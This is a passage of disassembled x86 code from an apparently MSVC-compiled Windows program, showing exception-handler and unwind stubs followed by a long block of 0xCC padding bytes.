--------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014BA ; --------------------------------------------------------------------------- lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CDB2: ; DATA XREF: ___:004295B8o mov eax, offset dword_442D80 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o mov eax, offset dword_442E68 jmp sub_437AB8 SEH_42ACB0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o mov eax, offset dword_442E98 jmp sub_437AB8 SEH_42AD90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o mov eax, offset dword_442EC8 jmp sub_437AB8 SEH_42AFF0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B380 proc near ; DATA XREF: sub_42B380+2o mov eax, offset dword_442EF8 jmp sub_437AB8 SEH_42B380 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B440 proc near ; DATA XREF: sub_42B440+8o mov eax, offset dword_442F28 jmp sub_437AB8 SEH_42B440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o mov eax, offset dword_442F58 jmp sub_437AB8 SEH_42C1B0 endp ; --------------------------------------------------------------------------- align 10h loc_43CEB0: ; DATA XREF: ___:0042C2C5o mov eax, offset dword_442FB8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CEC8: ; DATA XREF: ___:00443044o lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C350 proc near ; DATA XREF: sub_42C350+2o mov eax, offset dword_443018 jmp sub_437AB8 SEH_42C350 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C530 proc near ; DATA XREF: sub_42C530+2o mov eax, offset dword_443058 jmp sub_437AB8 SEH_42C530 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CF28: ; DATA XREF: ___:0042C5D2o mov eax, offset dword_443088 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C770 proc near ; DATA XREF: sub_42C770+2o mov eax, offset dword_4430B8 jmp sub_437AB8 SEH_42C770 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- mov eax, offset dword_4430E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o mov eax, offset dword_443118 jmp sub_437AB8 SEH_42CB70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o mov eax, offset dword_443148 jmp sub_437AB8 SEH_42CE60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D0A4: ; DATA XREF: ___:0042D158o mov eax, offset dword_4431A0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o mov eax, offset dword_443288 jmp sub_437AB8 SEH_435AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D10B: ; DATA XREF: ___:004432ECo lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D116: ; DATA XREF: ___:00435B98o mov eax, offset dword_4432C0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o mov eax, offset dword_4432F8 jmp sub_437AB8 SEH_4364D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o mov eax, offset dword_443328 jmp sub_437AB8 SEH_4368D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o mov eax, offset dword_443360 jmp sub_437AB8 SEH_4369E0 endp ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 align 4 dd 